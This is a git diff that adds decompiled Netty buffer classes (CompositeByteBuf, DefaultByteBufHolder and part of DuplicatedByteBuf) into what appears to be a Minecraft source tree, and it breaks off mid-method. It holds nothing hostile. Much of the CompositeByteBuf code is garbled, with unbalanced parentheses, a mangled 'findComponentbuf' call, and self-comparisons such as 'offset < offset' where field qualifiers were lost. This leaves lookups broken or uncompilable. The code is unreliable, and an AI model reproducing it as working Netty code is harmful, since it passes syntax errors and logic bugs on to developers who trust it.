+      
+      if (readerIndex() > newCapacity) {
+        setIndex(newCapacity, newCapacity);
+      } else if (writerIndex() > newCapacity) {
+        writerIndex(newCapacity);
+      }
+    }
+    return this;
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return alloc;
+  }
+  
+  public ByteOrder order()
+  {
+    return ByteOrder.BIG_ENDIAN;
+  }
+  
+
+
+  public int numComponents()
+  {
+    return components.size();
+  }
+  
+
+
+  public int maxNumComponents()
+  {
+    return maxNumComponents;
+  }
+  
+
+
+  public int toComponentIndex(int offset)
+  {
+    checkIndex(offset);
+    
+    int low = 0; for (int high = components.size(); low <= high;) {
+      int mid = low + high >>> 1;
+      Component c = (Component)components.get(mid);
+      if (offset >= endOffset) {
+        low = mid + 1;
+      } else if (offset < offset) {
+        high = mid - 1;
+      } else {
+        return mid;
+      }
+    }
+    
+    throw new Error("should not reach here");
+  }
+  
+  public int toByteIndex(int cIndex) {
+    checkComponentIndex(cIndex);
+    return components.get(cIndex)).offset;
+  }
+  
+  public byte getByte(int index)
+  {
+    return _getByte(index);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    Component c = findComponent(index);
+    return buf.getByte(index - offset);
+  }
+  
+  protected short _getShort(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 2 <= endOffset)
+      return buf.getShort(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return (short)((_getByte(index) & 0xFF) << 8 | _getByte(index + 1) & 0xFF);
+    }
+    return (short)(_getByte(index) & 0xFF | (_getByte(index + 1) & 0xFF) << 8);
+  }
+  
+
+  protected int _getUnsignedMedium(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 3 <= endOffset)
+      return buf.getUnsignedMedium(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return (_getShort(index) & 0xFFFF) << 8 | _getByte(index + 2) & 0xFF;
+    }
+    return _getShort(index) & 0xFFFF | (_getByte(index + 2) & 0xFF) << 16;
+  }
+  
+
+  protected int _getInt(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 4 <= endOffset)
+      return buf.getInt(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return (_getShort(index) & 0xFFFF) << 16 | _getShort(index + 2) & 0xFFFF;
+    }
+    return _getShort(index) & 0xFFFF | (_getShort(index + 2) & 0xFFFF) << 16;
+  }
+  
+
+  protected long _getLong(int index)
+  {
+    Component c = findComponent(index);
+    if (index + 8 <= endOffset)
+      return buf.getLong(index - offset);
+    if (order() == ByteOrder.BIG_ENDIAN) {
+      return (_getInt(index) & 0xFFFFFFFF) << 32 | _getInt(index + 4) & 0xFFFFFFFF;
+    }
+    return _getInt(index) & 0xFFFFFFFF | (_getInt(index + 4) & 0xFFFFFFFF) << 32;
+  }
+  
+
+  public CompositeByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.length);
+    if (length == 0) {
+      return this;
+    }
+    
+    int i = toComponentIndex(index);
+    while (length > 0) {
+      Component c = (Component)components.get(i);
+      ByteBuf s = buf;
+      int adjustment = offset;
+      int localLength = Math.min(length, s.capacity() - (index - adjustment));
+      s.getBytes(index - adjustment, dst, dstIndex, localLength);
+      index += localLength;
+      dstIndex += localLength;
+      length -= localLength;
+      i++;
+    }
+    return this;
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    int limit = dst.limit();
+    int length = dst.remaining();
+    
+    checkIndex(index, length);
+    if (length == 0) {
+      return this;
+    }
+    
+    int i = toComponentIndex(index);
+    try {
+      while (length > 0) {
+        Component c = (Component)components.get(i);
+        ByteBuf s = buf;
+        int adjustment = offset;
+        int localLength = Math.min(length, s.capacity() - (index - adjustment));
+        dst.limit(dst.position() + localLength);
+        s.getBytes(index - adjustment, dst);
+        index += localLength;
+        length -= localLength;
+        i++;
+      }
+    } finally {
+      dst.limit(limit);
+    }
+    return this;
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.capacity());
+    if (length == 0) {
+      return this;
+    }
+    
+    int i = toComponentIndex(index);
+    while (length > 0) {
+      Component c = (Component)components.get(i);
+      ByteBuf s = buf;
+      int adjustment = offset;
+      int localLength = Math.min(length, s.capacity() - (index - adjustment));
+      s.getBytes(index - adjustment, dst, dstIndex, localLength);
+      index += localLength;
+      dstIndex += localLength;
+      length -= localLength;
+      i++;
+    }
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length)
+    throws IOException
+  {
+    int count = nioBufferCount();
+    if (count == 1) {
+      return out.write(internalNioBuffer(index, length));
+    }
+    long writtenBytes = out.write(nioBuffers(index, length));
+    if (writtenBytes > 2147483647L) {
+      return Integer.MAX_VALUE;
+    }
+    return (int)writtenBytes;
+  }
+  
+
+  public CompositeByteBuf getBytes(int index, OutputStream out, int length)
+    throws IOException
+  {
+    checkIndex(index, length);
+    if (length == 0) {
+      return this;
+    }
+    
+    int i = toComponentIndex(index);
+    while (length > 0) {
+      Component c = (Component)components.get(i);
+      ByteBuf s = buf;
+      int adjustment = offset;
+      int localLength = Math.min(length, s.capacity() - (index - adjustment));
+      s.getBytes(index - adjustment, out, localLength);
+      index += localLength;
+      length -= localLength;
+      i++;
+    }
+    return this;
+  }
+  
+  public CompositeByteBuf setByte(int index, int value)
+  {
+    Component c = findComponent(index);
+    buf.setByte(index - offset, value);
+    return this;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    setByte(index, value);
+  }
+  
+  public CompositeByteBuf setShort(int index, int value)
+  {
+    return (CompositeByteBuf)super.setShort(index, value);
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    Component c = findComponent(index);
+    if (index + 2 <= endOffset) {
+      buf.setShort(index - offset, value);
+    } else if (order() == ByteOrder.BIG_ENDIAN) {
+      _setByte(index, (byte)(value >>> 8));
+      _setByte(index + 1, (byte)value);
+    } else {
+      _setByte(index, (byte)value);
+      _setByte(index + 1, (byte)(value >>> 8));
+    }
+  }
+  
+  public CompositeByteBuf setMedium(int index, int value)
+  {
+    return (CompositeByteBuf)super.setMedium(index, value);
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    Component c = findComponent(index);
+    if (index + 3 <= endOffset) {
+      buf.setMedium(index - offset, value);
+    } else if (order() == ByteOrder.BIG_ENDIAN) {
+      _setShort(index, (short)(value >> 8));
+      _setByte(index + 2, (byte)value);
+    } else {
+      _setShort(index, (short)value);
+      _setByte(index + 2, (byte)(value >>> 16));
+    }
+  }
+  
+  public CompositeByteBuf setInt(int index, int value)
+  {
+    return (CompositeByteBuf)super.setInt(index, value);
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    Component c = findComponent(index);
+    if (index + 4 <= endOffset) {
+      buf.setInt(index - offset, value);
+    } else if (order() == ByteOrder.BIG_ENDIAN) {
+      _setShort(index, (short)(value >>> 16));
+      _setShort(index + 2, (short)value);
+    } else {
+      _setShort(index, (short)value);
+      _setShort(index + 2, (short)(value >>> 16));
+    }
+  }
+  
+  public CompositeByteBuf setLong(int index, long value)
+  {
+    return (CompositeByteBuf)super.setLong(index, value);
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    Component c = findComponent(index);
+    if (index + 8 <= endOffset) {
+      buf.setLong(index - offset, value);
+    } else if (order() == ByteOrder.BIG_ENDIAN) {
+      _setInt(index, (int)(value >>> 32));
+      _setInt(index + 4, (int)value);
+    } else {
+      _setInt(index, (int)value);
+      _setInt(index + 4, (int)(value >>> 32));
+    }
+  }
+  
+  public CompositeByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    checkSrcIndex(index, length, srcIndex, src.length);
+    if (length == 0) {
+      return this;
+    }
+    
+    int i = toComponentIndex(index);
+    while (length > 0) {
+      Component c = (Component)components.get(i);
+      ByteBuf s = buf;
+      int adjustment = offset;
+      int localLength = Math.min(length, s.capacity() - (index - adjustment));
+      s.setBytes(index - adjustment, src, srcIndex, localLength);
+      index += localLength;
+      srcIndex += localLength;
+      length -= localLength;
+      i++;
+    }
+    return this;
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuffer src)
+  {
+    int limit = src.limit();
+    int length = src.remaining();
+    
+    checkIndex(index, length);
+    if (length == 0) {
+      return this;
+    }
+    
+    int i = toComponentIndex(index);
+    try {
+      while (length > 0) {
+        Component c = (Component)components.get(i);
+        ByteBuf s = buf;
+        int adjustment = offset;
+        int localLength = Math.min(length, s.capacity() - (index - adjustment));
+        src.limit(src.position() + localLength);
+        s.setBytes(index - adjustment, src);
+        index += localLength;
+        length -= localLength;
+        i++;
+      }
+    } finally {
+      src.limit(limit);
+    }
+    return this;
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    checkSrcIndex(index, length, srcIndex, src.capacity());
+    if (length == 0) {
+      return this;
+    }
+    
+    int i = toComponentIndex(index);
+    while (length > 0) {
+      Component c = (Component)components.get(i);
+      ByteBuf s = buf;
+      int adjustment = offset;
+      int localLength = Math.min(length, s.capacity() - (index - adjustment));
+      s.setBytes(index - adjustment, src, srcIndex, localLength);
+      index += localLength;
+      srcIndex += localLength;
+      length -= localLength;
+      i++;
+    }
+    return this;
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    if (length == 0) {
+      return in.read(EmptyArrays.EMPTY_BYTES);
+    }
+    
+    int i = toComponentIndex(index);
+    int readBytes = 0;
+    do
+    {
+      Component c = (Component)components.get(i);
+      ByteBuf s = buf;
+      int adjustment = offset;
+      int localLength = Math.min(length, s.capacity() - (index - adjustment));
+      int localReadBytes = s.setBytes(index - adjustment, in, localLength);
+      if (localReadBytes < 0) {
+        if (readBytes != 0) break;
+        return -1;
+      }
+      
+
+
+
+      if (localReadBytes == localLength) {
+        index += localLength;
+        length -= localLength;
+        readBytes += localLength;
+        i++;
+      } else {
+        index += localReadBytes;
+        length -= localReadBytes;
+        readBytes += localReadBytes;
+      }
+    } while (length > 0);
+    
+    return readBytes;
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    if (length == 0) {
+      return in.read(FULL_BYTEBUFFER);
+    }
+    
+    int i = toComponentIndex(index);
+    int readBytes = 0;
+    do {
+      Component c = (Component)components.get(i);
+      ByteBuf s = buf;
+      int adjustment = offset;
+      int localLength = Math.min(length, s.capacity() - (index - adjustment));
+      int localReadBytes = s.setBytes(index - adjustment, in, localLength);
+      
+      if (localReadBytes == 0) {
+        break;
+      }
+      
+      if (localReadBytes < 0) {
+        if (readBytes != 0) break;
+        return -1;
+      }
+      
+
+
+
+      if (localReadBytes == localLength) {
+        index += localLength;
+        length -= localLength;
+        readBytes += localLength;
+        i++;
+      } else {
+        index += localReadBytes;
+        length -= localReadBytes;
+        readBytes += localReadBytes;
+      }
+    } while (length > 0);
+    
+    return readBytes;
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    ByteBuf dst = Unpooled.buffer(length);
+    if (length != 0) {
+      copyTo(index, length, toComponentIndex(index), dst);
+    }
+    return dst;
+  }
+  
+  private void copyTo(int index, int length, int componentId, ByteBuf dst) {
+    int dstIndex = 0;
+    int i = componentId;
+    
+    while (length > 0) {
+      Component c = (Component)components.get(i);
+      ByteBuf s = buf;
+      int adjustment = offset;
+      int localLength = Math.min(length, s.capacity() - (index - adjustment));
+      s.getBytes(index - adjustment, dst, dstIndex, localLength);
+      index += localLength;
+      dstIndex += localLength;
+      length -= localLength;
+      i++;
+    }
+    
+    dst.writerIndex(dst.capacity());
+  }
+  
+
+
+
+
+
+  public ByteBuf component(int cIndex)
+  {
+    return internalComponent(cIndex).duplicate();
+  }
+  
+
+
+
+
+
+  public ByteBuf componentAtOffset(int offset)
+  {
+    return internalComponentAtOffset(offset).duplicate();
+  }
+  
+
+
+
+
+
+  public ByteBuf internalComponent(int cIndex)
+  {
+    checkComponentIndex(cIndex);
+    return components.get(cIndex)).buf;
+  }
+  
+
+
+
+
+
+  public ByteBuf internalComponentAtOffset(int offset)
+  {
+    return findComponentbuf;
+  }
+  
+  private Component findComponent(int offset) {
+    checkIndex(offset);
+    
+    int low = 0; for (int high = components.size(); low <= high;) {
+      int mid = low + high >>> 1;
+      Component c = (Component)components.get(mid);
+      if (offset >= endOffset) {
+        low = mid + 1;
+      } else if (offset < offset) {
+        high = mid - 1;
+      } else {
+        return c;
+      }
+    }
+    
+    throw new Error("should not reach here");
+  }
+  
+  public int nioBufferCount()
+  {
+    if (components.size() == 1) {
+      return components.get(0)).buf.nioBufferCount();
+    }
+    int count = 0;
+    int componentsCount = components.size();
+    for (int i = 0; i < componentsCount; i++) {
+      Component c = (Component)components.get(i);
+      count += buf.nioBufferCount();
+    }
+    return count;
+  }
+  
+
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    if (components.size() == 1) {
+      return components.get(0)).buf.internalNioBuffer(index, length);
+    }
+    throw new UnsupportedOperationException();
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    if (components.size() == 1) {
+      ByteBuf buf = components.get(0)).buf;
+      if (buf.nioBufferCount() == 1) {
+        return components.get(0)).buf.nioBuffer(index, length);
+      }
+    }
+    ByteBuffer merged = ByteBuffer.allocate(length).order(order());
+    ByteBuffer[] buffers = nioBuffers(index, length);
+    
+
+    for (int i = 0; i < buffers.length; i++) {
+      merged.put(buffers[i]);
+    }
+    
+    merged.flip();
+    return merged;
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    checkIndex(index, length);
+    if (length == 0) {
+      return EmptyArrays.EMPTY_BYTE_BUFFERS;
+    }
+    
+    List<ByteBuffer> buffers = new ArrayList(components.size());
+    int i = toComponentIndex(index);
+    while (length > 0) {
+      Component c = (Component)components.get(i);
+      ByteBuf s = buf;
+      int adjustment = offset;
+      int localLength = Math.min(length, s.capacity() - (index - adjustment));
+      switch (s.nioBufferCount()) {
+      case 0: 
+        throw new UnsupportedOperationException();
+      case 1: 
+        buffers.add(s.nioBuffer(index - adjustment, localLength));
+        break;
+      default: 
+        Collections.addAll(buffers, s.nioBuffers(index - adjustment, localLength));
+      }
+      
+      index += localLength;
+      length -= localLength;
+      i++;
+    }
+    
+    return (ByteBuffer[])buffers.toArray(new ByteBuffer[buffers.size()]);
+  }
+  
+
+
+  public CompositeByteBuf consolidate()
+  {
+    ensureAccessible();
+    int numComponents = numComponents();
+    if (numComponents <= 1) {
+      return this;
+    }
+    
+    Component last = (Component)components.get(numComponents - 1);
+    int capacity = endOffset;
+    ByteBuf consolidated = allocBuffer(capacity);
+    
+    for (int i = 0; i < numComponents; i++) {
+      Component c = (Component)components.get(i);
+      ByteBuf b = buf;
+      consolidated.writeBytes(b);
+      c.freeIfNecessary();
+    }
+    
+    components.clear();
+    components.add(new Component(consolidated));
+    updateComponentOffsets(0);
+    return this;
+  }
+  
+
+
+
+
+
+  public CompositeByteBuf consolidate(int cIndex, int numComponents)
+  {
+    checkComponentIndex(cIndex, numComponents);
+    if (numComponents <= 1) {
+      return this;
+    }
+    
+    int endCIndex = cIndex + numComponents;
+    Component last = (Component)components.get(endCIndex - 1);
+    int capacity = endOffset - components.get(cIndex)).offset;
+    ByteBuf consolidated = allocBuffer(capacity);
+    
+    for (int i = cIndex; i < endCIndex; i++) {
+      Component c = (Component)components.get(i);
+      ByteBuf b = buf;
+      consolidated.writeBytes(b);
+      c.freeIfNecessary();
+    }
+    
+    components.subList(cIndex + 1, endCIndex).clear();
+    components.set(cIndex, new Component(consolidated));
+    updateComponentOffsets(cIndex);
+    return this;
+  }
+  
+
+
+  public CompositeByteBuf discardReadComponents()
+  {
+    ensureAccessible();
+    int readerIndex = readerIndex();
+    if (readerIndex == 0) {
+      return this;
+    }
+    
+
+    int writerIndex = writerIndex();
+    if ((readerIndex == writerIndex) && (writerIndex == capacity())) {
+      for (Component c : components) {
+        c.freeIfNecessary();
+      }
+      components.clear();
+      setIndex(0, 0);
+      adjustMarkers(readerIndex);
+      return this;
+    }
+    
+
+    int firstComponentId = toComponentIndex(readerIndex);
+    for (int i = 0; i < firstComponentId; i++) {
+      ((Component)components.get(i)).freeIfNecessary();
+    }
+    components.subList(0, firstComponentId).clear();
+    
+
+    Component first = (Component)components.get(0);
+    int offset = offset;
+    updateComponentOffsets(0);
+    setIndex(readerIndex - offset, writerIndex - offset);
+    adjustMarkers(offset);
+    return this;
+  }
+  
+  public CompositeByteBuf discardReadBytes()
+  {
+    ensureAccessible();
+    int readerIndex = readerIndex();
+    if (readerIndex == 0) {
+      return this;
+    }
+    
+
+    int writerIndex = writerIndex();
+    if ((readerIndex == writerIndex) && (writerIndex == capacity())) {
+      for (Component c : components) {
+        c.freeIfNecessary();
+      }
+      components.clear();
+      setIndex(0, 0);
+      adjustMarkers(readerIndex);
+      return this;
+    }
+    
+
+    int firstComponentId = toComponentIndex(readerIndex);
+    for (int i = 0; i < firstComponentId; i++) {
+      ((Component)components.get(i)).freeIfNecessary();
+    }
+    components.subList(0, firstComponentId).clear();
+    
+
+    Component c = (Component)components.get(0);
+    int adjustment = readerIndex - offset;
+    if (adjustment == length)
+    {
+      components.remove(0);
+    } else {
+      Component newC = new Component(buf.slice(adjustment, length - adjustment));
+      components.set(0, newC);
+    }
+    
+
+    updateComponentOffsets(0);
+    setIndex(0, writerIndex - readerIndex);
+    adjustMarkers(readerIndex);
+    return this;
+  }
+  
+  private ByteBuf allocBuffer(int capacity) {
+    if (direct) {
+      return alloc().directBuffer(capacity);
+    }
+    return alloc().heapBuffer(capacity);
+  }
+  
+  public String toString()
+  {
+    String result = super.toString();
+    result = result.substring(0, result.length() - 1);
+    return result + ", components=" + components.size() + ')';
+  }
+  
+  private static final class Component {
+    final ByteBuf buf;
+    final int length;
+    int offset;
+    int endOffset;
+    
+    Component(ByteBuf buf) {
+      this.buf = buf;
+      length = buf.readableBytes();
+    }
+    
+    void freeIfNecessary()
+    {
+      buf.release();
+    }
+  }
+  
+  public CompositeByteBuf readerIndex(int readerIndex)
+  {
+    return (CompositeByteBuf)super.readerIndex(readerIndex);
+  }
+  
+  public CompositeByteBuf writerIndex(int writerIndex)
+  {
+    return (CompositeByteBuf)super.writerIndex(writerIndex);
+  }
+  
+  public CompositeByteBuf setIndex(int readerIndex, int writerIndex)
+  {
+    return (CompositeByteBuf)super.setIndex(readerIndex, writerIndex);
+  }
+  
+  public CompositeByteBuf clear()
+  {
+    return (CompositeByteBuf)super.clear();
+  }
+  
+  public CompositeByteBuf markReaderIndex()
+  {
+    return (CompositeByteBuf)super.markReaderIndex();
+  }
+  
+  public CompositeByteBuf resetReaderIndex()
+  {
+    return (CompositeByteBuf)super.resetReaderIndex();
+  }
+  
+  public CompositeByteBuf markWriterIndex()
+  {
+    return (CompositeByteBuf)super.markWriterIndex();
+  }
+  
+  public CompositeByteBuf resetWriterIndex()
+  {
+    return (CompositeByteBuf)super.resetWriterIndex();
+  }
+  
+  public CompositeByteBuf ensureWritable(int minWritableBytes)
+  {
+    return (CompositeByteBuf)super.ensureWritable(minWritableBytes);
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuf dst)
+  {
+    return (CompositeByteBuf)super.getBytes(index, dst);
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuf dst, int length)
+  {
+    return (CompositeByteBuf)super.getBytes(index, dst, length);
+  }
+  
+  public CompositeByteBuf getBytes(int index, byte[] dst)
+  {
+    return (CompositeByteBuf)super.getBytes(index, dst);
+  }
+  
+  public CompositeByteBuf setBoolean(int index, boolean value)
+  {
+    return (CompositeByteBuf)super.setBoolean(index, value);
+  }
+  
+  public CompositeByteBuf setChar(int index, int value)
+  {
+    return (CompositeByteBuf)super.setChar(index, value);
+  }
+  
+  public CompositeByteBuf setFloat(int index, float value)
+  {
+    return (CompositeByteBuf)super.setFloat(index, value);
+  }
+  
+  public CompositeByteBuf setDouble(int index, double value)
+  {
+    return (CompositeByteBuf)super.setDouble(index, value);
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuf src)
+  {
+    return (CompositeByteBuf)super.setBytes(index, src);
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuf src, int length)
+  {
+    return (CompositeByteBuf)super.setBytes(index, src, length);
+  }
+  
+  public CompositeByteBuf setBytes(int index, byte[] src)
+  {
+    return (CompositeByteBuf)super.setBytes(index, src);
+  }
+  
+  public CompositeByteBuf setZero(int index, int length)
+  {
+    return (CompositeByteBuf)super.setZero(index, length);
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuf dst)
+  {
+    return (CompositeByteBuf)super.readBytes(dst);
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuf dst, int length)
+  {
+    return (CompositeByteBuf)super.readBytes(dst, length);
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuf dst, int dstIndex, int length)
+  {
+    return (CompositeByteBuf)super.readBytes(dst, dstIndex, length);
+  }
+  
+  public CompositeByteBuf readBytes(byte[] dst)
+  {
+    return (CompositeByteBuf)super.readBytes(dst);
+  }
+  
+  public CompositeByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    return (CompositeByteBuf)super.readBytes(dst, dstIndex, length);
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuffer dst)
+  {
+    return (CompositeByteBuf)super.readBytes(dst);
+  }
+  
+  public CompositeByteBuf readBytes(OutputStream out, int length) throws IOException
+  {
+    return (CompositeByteBuf)super.readBytes(out, length);
+  }
+  
+  public CompositeByteBuf skipBytes(int length)
+  {
+    return (CompositeByteBuf)super.skipBytes(length);
+  }
+  
+  public CompositeByteBuf writeBoolean(boolean value)
+  {
+    return (CompositeByteBuf)super.writeBoolean(value);
+  }
+  
+  public CompositeByteBuf writeByte(int value)
+  {
+    return (CompositeByteBuf)super.writeByte(value);
+  }
+  
+  public CompositeByteBuf writeShort(int value)
+  {
+    return (CompositeByteBuf)super.writeShort(value);
+  }
+  
+  public CompositeByteBuf writeMedium(int value)
+  {
+    return (CompositeByteBuf)super.writeMedium(value);
+  }
+  
+  public CompositeByteBuf writeInt(int value)
+  {
+    return (CompositeByteBuf)super.writeInt(value);
+  }
+  
+  public CompositeByteBuf writeLong(long value)
+  {
+    return (CompositeByteBuf)super.writeLong(value);
+  }
+  
+  public CompositeByteBuf writeChar(int value)
+  {
+    return (CompositeByteBuf)super.writeChar(value);
+  }
+  
+  public CompositeByteBuf writeFloat(float value)
+  {
+    return (CompositeByteBuf)super.writeFloat(value);
+  }
+  
+  public CompositeByteBuf writeDouble(double value)
+  {
+    return (CompositeByteBuf)super.writeDouble(value);
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuf src)
+  {
+    return (CompositeByteBuf)super.writeBytes(src);
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuf src, int length)
+  {
+    return (CompositeByteBuf)super.writeBytes(src, length);
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuf src, int srcIndex, int length)
+  {
+    return (CompositeByteBuf)super.writeBytes(src, srcIndex, length);
+  }
+  
+  public CompositeByteBuf writeBytes(byte[] src)
+  {
+    return (CompositeByteBuf)super.writeBytes(src);
+  }
+  
+  public CompositeByteBuf writeBytes(byte[] src, int srcIndex, int length)
+  {
+    return (CompositeByteBuf)super.writeBytes(src, srcIndex, length);
+  }
+  
+  public CompositeByteBuf writeBytes(ByteBuffer src)
+  {
+    return (CompositeByteBuf)super.writeBytes(src);
+  }
+  
+  public CompositeByteBuf writeZero(int length)
+  {
+    return (CompositeByteBuf)super.writeZero(length);
+  }
+  
+  public CompositeByteBuf retain(int increment)
+  {
+    return (CompositeByteBuf)super.retain(increment);
+  }
+  
+  public CompositeByteBuf retain()
+  {
+    return (CompositeByteBuf)super.retain();
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    return nioBuffers(readerIndex(), readableBytes());
+  }
+  
+  public CompositeByteBuf discardSomeReadBytes()
+  {
+    return discardReadComponents();
+  }
+  
+  protected void deallocate()
+  {
+    if (freed) {
+      return;
+    }
+    
+    freed = true;
+    int size = components.size();
+    
+
+    for (int i = 0; i < size; i++) {
+      ((Component)components.get(i)).freeIfNecessary();
+    }
+    
+    if (leak != null) {
+      leak.close();
+    }
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/DefaultByteBufHolder.java b/src/minecraft/io/netty/buffer/DefaultByteBufHolder.java
new file mode 100644
index 0000000..5b0c9a9
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/DefaultByteBufHolder.java
@@ -0,0 +1,85 @@
+package io.netty.buffer;
+
+import io.netty.util.IllegalReferenceCountException;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultByteBufHolder
+  implements ByteBufHolder
+{
+  private final ByteBuf data;
+  
+  public DefaultByteBufHolder(ByteBuf data)
+  {
+    if (data == null) {
+      throw new NullPointerException("data");
+    }
+    this.data = data;
+  }
+  
+  public ByteBuf content()
+  {
+    if (data.refCnt() <= 0) {
+      throw new IllegalReferenceCountException(data.refCnt());
+    }
+    return data;
+  }
+  
+  public ByteBufHolder copy()
+  {
+    return new DefaultByteBufHolder(data.copy());
+  }
+  
+  public ByteBufHolder duplicate()
+  {
+    return new DefaultByteBufHolder(data.duplicate());
+  }
+  
+  public int refCnt()
+  {
+    return data.refCnt();
+  }
+  
+  public ByteBufHolder retain()
+  {
+    data.retain();
+    return this;
+  }
+  
+  public ByteBufHolder retain(int increment)
+  {
+    data.retain(increment);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return data.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return data.release(decrement);
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '(' + content().toString() + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/DuplicatedByteBuf.java b/src/minecraft/io/netty/buffer/DuplicatedByteBuf.java
new file mode 100644
index 0000000..8cff613
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/DuplicatedByteBuf.java
@@ -0,0 +1,304 @@
+package io.netty.buffer;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DuplicatedByteBuf
+  extends AbstractDerivedByteBuf
+{
+  private final ByteBuf buffer;
+  
+  public DuplicatedByteBuf(ByteBuf buffer)
+  {
+    super(buffer.maxCapacity());
+    
+    if ((buffer instanceof DuplicatedByteBuf)) {
+      this.buffer = buffer;
+    } else {
+      this.buffer = buffer;
+    }
+    
+    setIndex(buffer.readerIndex(), buffer.writerIndex());
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return buffer;
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return buffer.alloc();
+  }
+  
+  public ByteOrder order()
+  {
+    return buffer.order();
+  }
+  
+  public boolean isDirect()
+  {
+    return buffer.isDirect();
+  }
+  
+  public int capacity()
+  {
+    return buffer.capacity();
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    buffer.capacity(newCapacity);
+    return this;
+  }
+  
+  public boolean hasArray()
+  {
+    return buffer.hasArray();
+  }
+  
+  public byte[] array()
+  {
+    return buffer.array();
+  }
+  
+  public int arrayOffset()
+  {
+    return buffer.arrayOffset();
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return buffer.hasMemoryAddress();
+  }
+  
+  public long memoryAddress()
+  {
+    return buffer.memoryAddress();
+  }
+  
+  public byte getByte(int index)
+  {
+    return _getByte(index);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return buffer.getByte(index);
+  }
+  
+  public short getShort(int index)
+  {
+    return _getShort(index);
+  }
+  
+  protected short _getShort(int index)
+  {
+    return buffer.getShort(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    return _getUnsignedMedium(index);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return buffer.getUnsignedMedium(index);
+  }
+  
+  public int getInt(int index)
+  {
+    return _getInt(index);
+  }
+  
+  protected int _getInt(int index)
+  {
+    return buffer.getInt(index);
+  }
+  
+  public long getLong(int index)
+  {
+    return _getLong(index);
+  }
+  
+  protected long _getLong(int index)
+  {
+    return buffer.getLong(index);
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    return buffer.copy(index, length);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    return buffer.slice(index, length);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    buffer.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    buffer.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    buffer.getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    _setByte(index, value);
+    return this;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    buffer.setByte(index, value);
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    _setShort(index, value);
+    return this;
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    buffer.setShort(index, value);
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    _setMedium(index, value);
+    return this;
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    buffer.setMedium(index, value);
+  }
+  
+  public ByteBuf setInt(int index, int value)
